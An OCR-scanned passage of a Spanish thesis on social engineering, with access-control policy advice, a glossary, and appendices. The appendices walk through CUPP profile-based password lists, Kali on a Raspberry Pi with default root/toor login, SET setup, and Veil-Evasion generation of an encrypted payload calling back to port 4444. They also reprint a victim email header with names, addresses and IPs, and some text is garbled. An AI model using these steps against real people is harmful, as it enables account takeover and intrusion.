para la atencion de “Help Desk”

Elaboracion de Privilegios de Acceso

para usuarios

Procedimiento para el manejo vy

monitoreo de Violaciones

Una politica para la creacion de IDs de
usuarios, gue no sea tan predecible.
Politicas de Privacidad de la informacion
tanto laboral como personal.

Tratamiento de documentos fisicos para

ser desechados

Politicas de escritorio limpio.

S S — — - -}
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4.2. Manejo de Privilegios

Es muy importante el poder saber los accesos o privilegios a las
personas indicadas o que manejen informacion sensible de la empresa,
para ello no solo es indispensable poder restringir o permitir a nivel
informatico o de sistema lo que puede o deja de realizar. Por lo general
una asistente tiene privilegios iguales o incluso hasta superiores que el
mismo jefe inmediato, ya que es la que ayuda a gestionar las labores
cotidianas y el tiempo es muy importante, y las restricciones suele

representar una demora.

4.2.1. Pautas para el manejo de privilegios

Una buena practica para el manejo de privilegios es eliminar los
derechos de administrador sobre la maquina, esto podria ayudar a

reducir riesgos y ahorrar dinero en soporte técnico al usuario final.

Las empresas que utilizan una gestion de privilegios eficaces
pueden reducir sus costos de soporte de escritorio hasta en un
40% vy, de acuerdo con Gartner, ahorrar dinero de mas de 1.000

ddlares por escritorio al ano.

Soluciones basadas en gestion de privilegios permiten la

eliminacion de los derechos de administrador de la empresa con
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un enfogue practico y rentable para la ejecucion de privilegios
minimos en el entorno informatico.
Adicional una reduccion de riesgo ayuda a la productividad de los

empleados.

4.2.1.1. Principales objetivos del manejo de privilegios

e El mantenimiento de un entorno de escritorio confiable y
seqguro.

¢ Eliminacion de los derechos de administrador.

o Garantizar que los usuarios solo tienen el nivel correcto
de privilegios, en cualquier computadora.

e Reduccion de los costes de mantenimiento de
computadoras.

e Control de acceso a las aplicaciones

4.2.1.2. Beneficios

e Mejorar la productividad.
e Aumentar |la seguridad.

e Reducir las solicitudes de servicio soporte técnico.
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Rotacion de Tareas

La seguridad de la informacion debe estar también enfocada a las tareas
del dia a dia, es decir de las tareas o funciones cotidianas. El manejo de

la informacidn esta direccionada o guiada a:
e Atribucion y responsabilidades de su funcidon
¢ Objetivos del negocio

* Politicas vigentes

Es importante el poder realizar la segregacion de las funciones, el cual
permite reducir el riesgo de una mala utilizacion de los sistemas e la

informacion sensible, sea de manera intencional o accidental.

Control de Acceso

El enfoque de esta seccion es dar el control del acceso a la informacion

y los procesos del negocio de la empresa.

Los accesos a la informacion deben tener una alta importancia en los

diferentes ambitos de la empresa.

4.4.1 Politicas de control de accesos de la informacion

Se deben definir y documentar los requerimientos del giro de

negocio de la empresa para el control de acceso a la informacion,
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también establecer y difundir politicas, reglas y privilegios para los

usuarios.

El crear especificaciones claras de los requisitos de negocio que
seran analizados por los controles de acceso de la empresa.

Los accesos deben ser registrados en la medida de lo posible.

4.4.2 Administracion de accesos de usuarios

El administrar los registros de usuarios tiene una alta relevancia,
debe existir un procedimiento formal de los ingresos y cancelacion
del registro o usuarios, para otorgar accesos a todos los sistemas

o servicios de informacion de la empresa.

Hay que poseer adecuadas restricciones y controles para la
asignacion y uso de privilegios o recursos de los diferentes
sistemas de la informacion. Estas restricciones deben ser
constantemente revisadas y puestas a pruebas de forma interna

como externa.

4.4.3 Administracion de contrasenas de usuarios

Uno de los mas eficaces recursos para el control de acceso a la
informacion es el poder tener contrasefas adecuadas, estas

validan el acceso a los usuarios a los diferentes sistemas de la
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informaciéon, la importancia de una buena administracion, tiene
que llevar a las empresas a tener un proceso dedicado a la
administracion y gestion de las contrasenas asignadas a los

usuarios.

Este proceso debe ser evaluado, y ya que depende mucho del
usuario, ya que el es el que debe asignar en base a las normas
establecidas, y si este proceso de gestiéon es muy elaborado,

puede a generar un mayor malestar y ese no es el fin ultimo.

Hay que tener en cuenta que el perfil que se cree para el acceso

debe ser revisado de forma periodica.

Hay que tener un especio dedicado para concientizar al usuario
de crear buenas contrasenas y que las comunes pueden ser

deducidas de forma facil.

4.4.4 Equipos informaticos desatendidos

Es importante asegurar que el equipo informatico desatendido
esté debidamente protegido, todos los usuarios y proveedores de
servicio deberan conocer los requisitos de seguridad y los

procedimientos para proteger tales equipos.



187

Una adecuada politica del puesto de trabajo despejado y bloqueo

de pantalla, se debe dar a conocer a los usuarios la importancia

de mantener seguro su puesto de trabajo, ya que asi se evitara el

acceso de terceros a sus equipos.

CONCLUSIONES Y RECOMENDACIONES

Conclusiones

Muchas empresas no conocen la importancia de
estar atentos a las vulnerabilidades dentro del as
empresas enfocadas a las personas.

Hay un sin numero de herramientas disponibles que
se pueden utilizar para realizar un ataque de
Ingenieria social, todas estas herramientas no
necesariamente deben ser implementadas por
expertos informaticos.

El esquema sugerido basado escenarios es una
forma objetiva de evaluar que tan vulnerable puede
ser la empresa. La desventaja seria en que no
siempre se puede abarcar con todos los escenarios
posibles.

Una forma de siempre estar preparados es poder

tener una politica interna de comunicacion
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adecuada. Dar a conocer tips de seguridad dia a
dia.

e Los escenarios planteados en este tesis
demostraron que pueden vulnerar a las personas de
una empresa, y considerando que solo se ataco a

una persona de un sin numero de posibles victimas.

Recomendaciones

Poder amar un cuadro de escenarios exhaustivos que
permita dar pautas a un manual de buenas practicas.
Tener una persona que sepa de este tipo de atagues
para que pueda realizar la evaluacion interna de forma
adecuada.

Poder gestionar este analisis en un sistema informatico

para que sea un marco de trabajo mas agil y efectivo.



189

GLOSARIO

ATAQUE.- Método por el cual un individuo, mediante un sistema informatico
intenta tomar el control, desestabilizar o danar otro sistema informatico
(ordenador personal, red privada, etcétera).

C.E.H.- CEH (Certified Ethical Hacker) es la certificacion oficial de hacking ético
desde una perspectiva independiente de fabricantes.

CRACKER.- EI término cracker (del inglés cracker, ‘romper’) se utiliza para
referirse a las personas que rompen algun sistema de seguridad.

DNS.- Domain Name System o DNS (en espanol «Sistema de Nombres de
Dominio») es un sistema de nomenclatura jerarquica para computadoras,
servicios o cualquier recurso conectado a Internet o a una red privada.
FOOTPRINTING.- Footprinting es una técnica de recopilacion de informacion
sobre los sistemas informaticos y las entidades a las que pertenecen, son
tareas que se realizan antes de hacer un ataque real.

FRAMEWORK.- La palabra inglesa "framework" (marco de trabajo) define, en
terminos generales, un conjunto estandarizado de conceptos, practicas vy
criterios para enfocar un tipo de problematica particular que sirve como
referencia, para enfrentar y resolver nuevos problemas de indole similar.
FRAUDE.- El fraude es la accion contraria a la verdad y a la rectitud o ley -
fraude de ley-, que perjudica a la persona contra quien se comete.

FTP.- FTP (siglas en inglés de File Transfer Protocol, 'Protocolo de

Transferencia de Archivos') en informatica, es un protocolo de red para la
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transferencia de archivos entre sistemas conectados a una red TCP
(Transmission Control Protocol), basado en |la arquitectura cliente-servidor.
HACKER.- Gente apasionada por la seguridad informatica. Esto concierne
principalmente a entradas remotas no autorizadas por medio de redes de
comunicacion como Internet

HARDWARE.- El término hardware se refiere a todas las partes tangibles de
un sistema informatico; sus componentes son: eléctricos, electronicos,
electromecanicos y mecanicos.

HTTP.- Http son las siglas de HyperText Transfer Protocol, el método utilizado
para transferir ficheros hipertexto por Internet. La transferencia hipertexto es
simplemente la transferencia de ficheros hipertexto de un ordenador a otro.
HTTPS.- Hypertext Transfer Protocol Secure (en espanol: Protocolo seguro de

transferencia de hipertexto), mas conocido por sus siglas HTTPS, es un protocolo de
aplicacion basado en el protocolo HTTP, destinado a la transferencia segura de datos de
Hipertexto, es decir, es la version segura de HTTP

IP.- Internet Protocol, es la especificacion que determina hacia donde son
encaminados los paquetes, en funcidén de su direccion de destino.

ISO 2700.- Es una certificacion de las normas para la tecnologia informatica y
los sistemas de gestion informaticos. Al conseguir tal certificacion, las
empresas pueden vender sus servicios de mejor manera, asi como tambien
pueden garantizar la fiabilidad de sus operaciones internas.

KALI LINUX.- Kali Linux es una distribucion basada en Debian GNU/Linux
disenada principalmente para la auditoria y seguridad informatica en general.
KINESTESICO.- El sentido kinestésico suministra datos del movimiento y de la

postura corporal, del equilibrio y desequilibrio fisico.
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LAN.- Local Area Network. Red de area local. Una red pequena de datos que
cubre un area limitada, como el interior de un edificio o un grupo reducido de
edificios.

LISTENER.- Es un término en informatica que se utiliza para indicar que un
puerto logico de un equipo esta escuchando o receptando datos.

LOG.- Un log es un registro oficial de eventos durante un rango de tiempo en
particular.

LOGIN.- Es el proceso mediante el cual se controla el acceso individual a un
sistema informatico mediante la identificacion del usuario utilizando
credenciales provistas por el usuario

METASPLOIT.- Es un proyecto open source de seguridad informatica que
proporciona informacion acerca de vulnerabilidades de seguridad y ayuda en
tests de penetracion y en el desarrollo de firmas para sistemas de deteccion de
iNntrusos.

METERPRETER.- Meterpreter es un intérprete de comandos que permite de
una forma segura y suave interactuar con la maquina objetivo.

NMAP.- Nmap es un programa de codigo abierto que sirve para efectuar
rastreo de puertos

PHREAKER.- Es un término acunado en la subcultura informatica para
denominar la actividad de aquellos individuos que orientan sus estudios y ocio
hacia el aprendizaje y comprension del funcionamiento de teléfonos de diversa
indole, tecnologias de telecomunicaciones, funcionamiento de companias
telefonicas, sistemas que componen una red telefonica y por ultimo; electronica

aplicada a sistemas telefonicos.
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PNL.- La programacion neurolinguistica (PNL) es un modelo de comunicacion
interpersonal que se ocupa fundamentaimente de la relacion entre los
comportamientos exitosos y las experiencias subjetivas.

RASPBERRY PI.- Es un ordenador de placa reducida o (placa unica) (SBC) de
bajo coste, desarrollado en Reino Unido por la Fundacion Raspberry Pi, con el
objetivo de estimular la ensenanza de ciencias de la computacion en las
escuelas.

RFID.- Siglas de Radio Frequency IDentification, en espanol identificacion por
radiofrecuencia, es un sistema de almacenamiento y recuperacion de datos
remoto que usa dispositivos denominados etiquetas, tarjetas, transpondedores
o tags RFID.

ROUTER.- Su traduccién de enrutador o encaminador de paquetes, es un
dispositivo que proporciona conectividad a nivel de red.

SHELL.- Es un programa que proveen una interfaz de usuario para acceder a
los servicios del sistema operativo. Los shells estan disefiados para facilitar la
forma en que se invocan o ejecutan los distintos programas disponibles en el
computador.

SMART CARDS.- Una tarjeta inteligente (smart card, es cualquier tarjeta del
tamano del bolsillo con circuitos integrados, que permite la ejecucion de cierta
|6gica programada.

SMB.- Server Message Block o SMB es un Protocolo de red que permite
compartir archivos e impresoras entre nodos de una red. Es utilizado
principalmente en ordenadores con Microsoft Windows y DOS.

SOFTWARE.- Se conoce como software1 al equipamiento légico o soporte

logico de un sistema informatico, que comprende el conjunto de los
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componentes l0gicos necesarios que hacen posible la realizacion de tareas
especificas, en contraposicion a los componentes fisicos que son llamados
hardware.

SPAM.- Se llama spam, correo basura o mensaje basura a los mensajes no
solicitados, no deseados o de remitente no conocido (correo anénimo)
SPOOFING.- Spoofing, en téerminos de seguridad de redes hace referencia al
uso de técnicas de suplantacion de identidad generalmente con usos
maliciosos o de investigacion.

TELNET.- Telnet (TELecommunication NETwork) es el nombre de un protocolo
de red que permite viajar a otra maquina para manejarla remotamente.

Unix.- Sistema operativo especializado en capacidades de multiusuario y
multitarea. Fue la base inicial de Internet. Entre sus caracteristicas mas
importantes se encuentran: Redireccionamiento de Entrada/Salida

URL.- Un localizador de recursos uniforme o URL —siglas en inglés de uniform
resource locator— es un identificador de recursos uniforme (URI) cuyos
recursos referidos pueden cambiar, esto es, la direccion puede apuntar a
recursos variables en el tiempo.

VPN.- Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual
Private Network, es una tecnologia de red que permite una extension segura de
la red local (LAN) sobre una red publica o no controlada como Internet.

WAN.- (Wide Area Network, Red de Area Amplia). Red de computadoras
conectadas entre si. Usando lineas terrestres o incluso satelites para
interconectar redes LAN en un area geografica extensa que puede ser hasta de

miles de kilometros.
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WEB.- World Wide Web (WWW) o Red informatica mundiall comunmente
conocida como la web, es un sistema de distribucion de documentos de
hipertexto o hipermedios interconectados y accesibles via Internet.

Wi-Fi.- Abreviatura en inglés para "wireless fidelity". Un tipo de red inalambrica
(WLAN - wireless local area networks), que usa el protocolo inalambrico de
alcance limitado |IEEE 802.11b, que transmite datos en banda ancha en el
rango espectral de 2.4 GHz.

ZIP.- En informatica, ZIP o zip es un formato de compresion sin pérdida, muy
utiizado para la compresion de datos como documentos, imagenes o

programas.
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APENDICES

APENDICE A: PERFIL DE CONTRASENAS COMUNES
DE USUARIO (CUPP).

A.1 Instalacion CUPP.

En la plataforma Linux podemos encontrar un programa destinado a esta

actividad, por ejemplo para activarlo es necesario los siguientes comandos:

Tabla A-1. Comandos para instalacion CUPP

' Descripcion - (Comando
' Accediendo a carpeta | # Cd / pentest / passwords / cupp
| Ejecucion de comando [ #. 1 Cupp.py

Se puede ver en la imagen debajo, las opciones que usted tiene cuando se

Inicia el programa:

Figura A-1. Opciones de instalacion CUPP
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Cuando se tiene la mayor cantidad de informacion posible de los intereses, los
nombres, apodos, aficiones, etc de nuestra victima es el momento de utilizar el
cupp con el fin de completar la informacion que tenemos para la creacion de la

lista de contrasenas.

Figura A-2. Parametros para creacion de lista de palabras CUPP

Con excepcion de la informacion que se puede elegir, también si la lista incluira
palabras o numeros al azar al final de las palabras, caracteres especiales y

palabras clave.
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Figura A-3. Esquema para el Analisis

Ahora el CUPP tiene generar la lista de contrasenas y podemos utilizarlo con el
fin de ver si algun usuario en la lista es valido. Esta herramienta es muy valida

para tratar de obtener una clave el cual esta basado en el perfil del usuario.



APENDICE B: ENCABEZADO DEL MAIL DE

CONFIRMACION.

B.1 Encabezo completo del mail de victima.

F;Fi:a

Tabla B-1. Encabezado de recepcion de mail victima
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Encabezado del Mail - Confirmacion

X—store-

info:SmXCjkY1Un5L3gl TmewTw2528

Vzv4BD3Vwaibh6VsG3Jqomo3

MMz45diGpKveTnaul kyvrGNYzdUSAH+1J81GHkdeqtxgVClbobmZ0Z

- Fogs i T ) [ v -
smtp.mailfrom=mlopez(

header.d=carsegsa.

header.id=mlopez@carsegsa.com

190.95.210.34) |

X-SID-PRA: mlopez(@carsegsa.com

<

X—-AUTH-Result: PASS

X-Message-Status:

roe

"

X-Message-Dellivery:

PTFIT7YT OO DEHRDOWOITNDTDOwW
SPIE /Y TOWO! f,{."PJ‘.. FHRDOWOQ1INDTDOwW

X-Message-Info:

W]TPNI9X1LmSHWS05xS0o

R/kzsprhkvQPUA+kv2

Xfo9dnwbas]50NG2aiCMtnSE

anpl

0+ PUcBuKabwWzkFsEIX1Y2Z

@)

W,

RNSOZauAeSmI

6zhIcPNEE
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i vOWF6GWObIqjQ4/XQ8 TIJWNiBYbNN+Den2LyZlcFghw75an/Me 7Ay0

ym/LJIDx8=

Received: from mail.carsegsa.com ([190.95.210.34]) by

BAY0O-MC1-F46.Bay0.hotmail .com with Microsoft

SMTPSVC (6.0.3790.4900) ;

Wed, 14 Aug 2013 07:43:34 -0700 1

Received: from carsegsa.com (mail.carsegsa.com

(10.100.89.4]))

12

by mail.carsegsa.com (Postfix) with ESMTP id

A55BT71BE367

for <rafaelpenafhotmail.com>; Wed, 14 Aug 2013

09:43:28 -0500 (ECT)

Received: from SECVIPT5 (lgyesec75.grupocarseqg.com |

[10.100.89.75])

15

by carsegsa.com (Postfix) with ESMTP id

6479161C6D3

16

for <rafaelpenalhotmail.com>; Wed, 14 Aug 2013 |

09:43:26 -0500 (COT) ‘

From: "Monica Lopéz" <mlopez@carsegsa.com>

| To: "'Rafael de la Pena" <rafaelpena@hotmail.com> |

References: <BAY168—\

W166515E5066BD895B56FABA3450@phx.gbl>

|
ol

In-Reply-To: <BAY168- |
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W166515E5066BD895BS56FA6A3450@phx.gbl>

21 Subject: RE: seleccion

22 [Dpate: Wed, 14 Aug 2013 09:43:26 -0500

23 |Message-1ID: <002d01ce98fc$a262fd60Se728f820S@com>
24 [MIME-Version: 1.0

25 Content-Type: multipart/alternative;

26

boundary="----

= NextPart 000 002E 01CE98D2.B98CF560"
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APENDICE C: PASOS PREVIOS ESCENERAIOS
INSTALACION.

C.1 Preparando Kali Linux en Raspberry.

Configurar el Raspberry, para este proceso hay que seguir los siguientes

pasos:

1.

Descargar el Kali Linux Imagen desde la pagina oficial, hay
una version desarrollada para Raspberry Pi.

http://cdimage kali.org/kali-1.0.9/kali-linux-1.0.9-armhf.img.xz

El archivo de imagen se lo debe descomprimir con winrar para

windows. http://www.winrar.com/.

A continuacion, instalar la imagen en la tarjeta SD — para este
proceso se puede usar el programa para Windows “Win32

Disk Imager” http://sourceforge.net/projects/win32diskimager/

Luego se conecta la tarjeta SD en el ordenador portatil de
Windows y ejecute el programa. Se carga el archivo de imagen
de Kali que se ha descargado y se apuntar con el dispositivo

de la letra de unidad de su tarjeta SD.

Figura C-1. Carga de la imagen en SD.
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5. Ahora saque la tarjeta SD de su ordenador portatil windows e
insertarla en la ranura para tarjetas SD del Raspberry Pi.
Conecte su video, cable Ethernet, y el teclado y el raton.

6. Conecte la alimentacion a la Raspberry Pi, y en pocos
segundos se inicia el sistema operativo Kali.

7. Kali se instalara automaticamente solo hay que seguir los

pasos sugeridos.

C.2 Configuracion Kali Linux en Raspberry.

Luego de instalar KALI se sugiere realizar los siguientes pasos:

Tabla C-1. Comando de actualizacion Kali

L Comando de actualizacién '

# apt-get update && apt-get upgrade && apt-get dist-upgrade

C.3 Instalando servidor SSH.

Este servicio permite conectarse de forma remota al sistema, por medio

de una conexion segura. Para estas pruebas e utilizara el programa

‘PUTTY”
Tabla C-2. Comando para instalar SSH
L Comando de Instalacién |
' root@kali~# apt-get install openssh-server j
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Luego de tener instalado el servidor hay que levantar el servicio para

poder acceder.

Tabla C-3. Comando para levantar el servicio SSH

Comando de Instalacion
root@kali~# service ssh start

C.4 Instalando Putty.

Luego utilizamos el programa PUTTY, para probar la conexion remota
hacia el RASPBERRY.
Se descarga el programa putty

http //the earth li/~sgtatham/putty/latest/x86/putty exe, y se configura los

parametros solicitados para como se muestra en la figura C2, el usuario

por defecto es root, y el password es toor.

Pu 1 17 ( pafegoratson

g 'y T ey yoa ward 10 Cxerwect Vo

Sy ] . Mot lame lor P addresa) Pos
Bed [ra2eans s §22
foat e Caornecton hpe
- Vdwetom M Res ¢ Tane  Megn I SSM ¢ Sesd

Lomd seve or dedete 8 SOred seamon

Figura C-2. Programa Putty.

Cin- . .JL
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C.5 Configuracion de SET (Social Engineer Toolkit) en KALI.

El set de herramientas para el ataque de ingenieria social, viene
instalado desde su primera version de KALI, lo que hay que considerar
es poder actualizar el mismo para se debe abrir el aplicativo y

actualizarlo.

Figura C-3. S.E.T en KALI

Luego de seleccionar “Social Engineering Toolkit”, se nos abre una
consola y usamos la opcion 5) y 6), para actualizar el set de

herramientas.

Figura C-3. S.E.T opciones de actualizacion
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C.6 Configuracion VEIL-Evation en KALL.

Para la instalacion de VEIL se realiza los pasos mostrados en la Figura

C4.

Figura C-4. Instalacion de VEIL-Evation

Luego de ingresar al Framework Veil-Evation, se muestra la lista
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Figura C-5. Lista de payloads de VEIL

Se muestra los payloads disponibles hasta la fecha de publicacion, en
esta version son 26 disponibles

Luego se selecciona uno para proseguir a su configuracion, para ello se
usa el comando “use”, seguido del numero del payload seleccionado
Para este ataque se va utilizar el numero 21)

python/shellcode inject/aes_encrypt

Figura C-6. Seleccion de Payload - Veil

Luego se carga las opciones del payload.

Figura C-7. Carga de Payload - Vell
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Las opciones disponibles se muestra debajo del texto “Required
Options”, por defecto la configuracion es adecuada para realizar el

ataque. Para continuar se pone el comando “generate”

Figura C-8. Comando Generate - Veil

Luego se solicita el nombre del archivo a crearse,

Figura C-9. Nombre de archivo de salida - Veil

Para las siguientes opciones se seleccionan las opciones por defecto

Figura C-9. Seleccién de parametros por defecto - Veil

Luego se presiona la tecla ENTER

Figura C-10. Ingreso de parametros - Veil
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Se solicita la ip de el cual va recibir la informacion de la maquina de la
victima, se coloca la ip del raspberry, adicional se configura el puerto el

cual se pone “4444"

Figura C-11. Ventana de generacion del payload - Veil

Solicita una configuracion adicional, consultando si se desea crear un

-

archivo ejecutable, se escoge la opcion por defecto, “1

Figura C-12. Creacion de payload ejectubale - Veil
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Ruta de los archivos generados con los parametros configurados

Figura C-13. Ruta de los archivos generados - Veil
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